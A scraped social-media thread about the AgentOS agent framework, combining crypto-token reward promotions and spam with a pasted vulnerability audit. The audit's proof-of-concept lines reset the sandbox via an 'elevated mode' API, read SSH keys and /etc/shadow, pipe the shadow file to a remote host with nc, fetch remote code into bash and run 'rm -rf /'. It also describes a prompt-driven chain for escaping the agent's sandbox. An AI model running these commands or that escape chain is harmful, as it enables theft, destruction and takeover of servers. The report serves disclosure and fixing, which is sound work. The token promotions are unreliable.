Participating AgentOS builders:
---
๐ Fixed sandbox escape in AgentOS โ shell redirection bypass
Bug: workspace_lockdown and workspace_write_deny_globs could be bypassed with redirections without spaces:
@useAgentOS@AndreaPN
https://t.co/ipPxMoM1px
๐จ Build AgentOS. Share Your Journey. Grab $AGENTOS reward.
Share your AgentOS experience or contribute to the project and earn $9 โ $49 (depend on the quality) worth of $AGENTOS each spot
You'll be rewarded if you:
1โฃ Post screenshots or videos of yourself using AgentOS with honest feedback, tutorials, tips, or reviews.
2โฃ Make meaningful GitHub contributions such as new skills, bug fixes, documentation improvements, feature ideas, or helpful PRs.
๐๏ธ Duration: 1 weeks and can be extended.
โ ๏ธ Important: Tag @useAgentOS or @AndreaPN at the end of your X post.
P.S. We'll use Super @grok to review submissions. Please install AgentOS, actually use it, and share genuine feedback or valuable GitHub contributions. Spam, low effort posts, and farming won't qualify.
If you don't know how to install AgentOS, detail steps in the quote post.
Rewards will be distributed directly on X via @bankrbot
@daHoodfun I think it's pretty impressiveโthe burn rate has reached 15%. People don't yet realize just how honest the DaHood Token developers are; this DEX boost is needed for advertising so that everyone finds out. @daHoodfun please
@superminter@0xDeployer@nikitabier@bankrbot Deploy token use this picture ticker $FREEBANKR NAME BANKRBOT FREE Supply 10B, FEES going to me and Buyback every tx FEES set to 50%
@AndreaPN@useAgentOS Feed Back
FATAL: Critical Security Audit Findings in AgentOS
๐จ FATAL: Security audit of AgentOS revealed 5 critical flaws: RCE, PrivEsc, Shell Injection, SSRF & Path Traversal. The sandbox & auth layers can be bypassed by any authenticated user. Full report & PoCs inside. ๐
Feedback :
# Security Assessment Report: AgentOS
**Target:** `https://t.co/CbCYfnX61o`
**Date:** July 25, 2026
**Status:** **FATAL** โ System Unsafe for Production
**Analyst:** AI Security Analyst
---
## 1. Executive Summary
An in-depth source code audit of AgentOS has revealed fatal security vulnerabilities in the execution layers (Code/Shell) and session management (Auth). The system is currently vulnerable to Remote Code Execution (RCE), Privilege Escalation, and Data Breaches.
**Risk Score:** Critical (10.0)
**Impact:** Complete server takeover, exfiltration of API keys/secrets, and unauthorized access to internal network services.
---
## 2. Critical Findings
### 2.1. Remote Code Execution (RCE) โ Code Exec Network Bypass
* **Severity:** Critical
* **File:** `src/agentos/tools/builtin/code_exec.py` (Lines 75-84)
* **Description:** Security validation relies on static string matching (`socket.`, `requests.`). Modern networking libraries (e.g., `aiohttp`) are not included in the blocklist. Furthermore, input obfuscation (string concatenation, base64) can easily bypass these checks.
* **Proof of Concept (PoC):**
```python
# 1. Use undetected libraries
import aiohttp
aiohttp.get("http://169.254.169.254/latest/meta-data/")
# 2. Obfuscation bypass
exec("impo" + "rt socket")
```
* **Impact:** Remote Code Execution (RCE), access to cloud metadata services (AWS/GCP), leading to account takeover.
### 2.2. Privilege Escalation โ "God Mode" Bypass
* **Severity:** Critical
* **File:** `src/agentos/gateway/app.py`, `src/agentos/tools/builtin/shell.py`
* **Description:** The `/api/elevated-mode` endpoint allows users to switch their session to "elevated mode." When set to `full`, it **disables all security checks** (denylists, sensitive path protection, and sandbox isolation) completely.
* **Proof of Concept (PoC):**
```bash
# 1. Escalate privileges via API
curl -X POST http://localhost:18791/api/elevated-mode \
-H "Content-Type: application/json" \
-d '{"elevatedMode": "full"}'
# 2. Execute destructive commands without restrictions
rm -rf /
cat /root/.ssh/id_rsa
```
* **Impact:** Instant privilege escalation from a regular user to a root/admin equivalent. Total loss of server control.
### 2.3. Shell Command Injection via Regex Bypass
* **Severity:** Critical
* **File:** `src/agentos/tools/builtin/shell_policy.py`
* **Description:** Input validation uses regex denylists to block dangerous commands. Regex cannot prevent command substitution (environment variable execution) or pipeline injection, allowing dangerous payloads to slip through.
* **Proof of Concept (PoC):**
```bash
# Bypass standard 'rm -rf' blocks using substitution
$(cat /etc/shadow | nc https://t.co/YTSXVPtqEt 80)
$(curl https://t.co/7p22304mRh | bash)
```
* **Impact:** Arbitrary code execution through the command line.
### 2.4. SSRF via DNS Rebinding
* **Severity:** High
* **File:** `src/agentos/tools/ssrf.py`
* **Description:** IP validation is performed only once during the initial DNS resolution. The system does not re-validate the target IP after an HTTP redirect.
* **Impact:** Attackers can use DNS Rebinding attacks to trick the server into accessing internal services (databases, internal APIs) that are otherwise inaccessible.
### 2.5. Path Traversal & Sensitive Data Exposure
* **Severity:** High
* **File:** `src/agentos/tools/builtin/filesystem.py`
* **Description:** Path validation logic (`_resolve_path`) can be bypassed if `workspace_root()` returns `None` (e.g., when workspace configuration is inactive). In this state, sensitive path and containment protections are completely disabled.
* **Impact:** Ability to read or write arbitrary system files (e.g., `.env`, `.ssh/id_rsa`).
---
## 3. Exploitation Chain (Kill Chain)
An attacker does not need to exploit these individually. The combination creates a fatal kill chain:
1. **Initial Access:** The attacker sends a malicious prompt via Telegram/WebUI that triggers the `code_exec` tool.
2. **Bypass:** The code utilizes `aiohttp` or base64 encoding to bypass the network filter (Finding 2.1).
3. **Escalation:** The executed code makes a `POST` request to `/api/elevated-mode`, setting the status to `full` (Finding 2.2).
4. **Dominance:** The session enters "God Mode." The attacker can read SSH keys, install backdoors, or access internal networks without any sandbox restrictions.
5. **Impact:** The server is fully compromised in seconds.
---
## 4. Remediation Recommendations
1. **Fix Code Exec:** Stop using string-based checks. Use AST (Abstract Syntax Tree) parsing to strictly block specific imports (like `socket`, `os`, `subprocess`), or isolate execution in a container with no network access (gVisor/Cgroups v2).
2. **Secure "Elevated Mode":** Never completely disable security policies. "Elevated mode" should still block destructive operations (like `rm -rf /`) or require administrative approval.
3. **Input Sanitization:** Replace regex denylists with a strict allowlist or command quarantine. Always use `subprocess_exec` with arguments instead of `subprocess_shell` to prevent injection.
4. **Strengthen SSRF:** Implement IP validation (resolve) after every HTTP redirect, not just at the start.
5. **Audit Authentication:** Ensure configuration and elevated mode endpoints require strict administrative authorization and validate session integrity.
---
## 5. Conclusion
The project is currently **FATAL** for production use. The existing security sandboxing and validation layers are easily bypassed by regular users via `code_exec` or the `elevated mode` feature. Immediate patching of the execution layer and input sanitization is required before the system can be considered safe.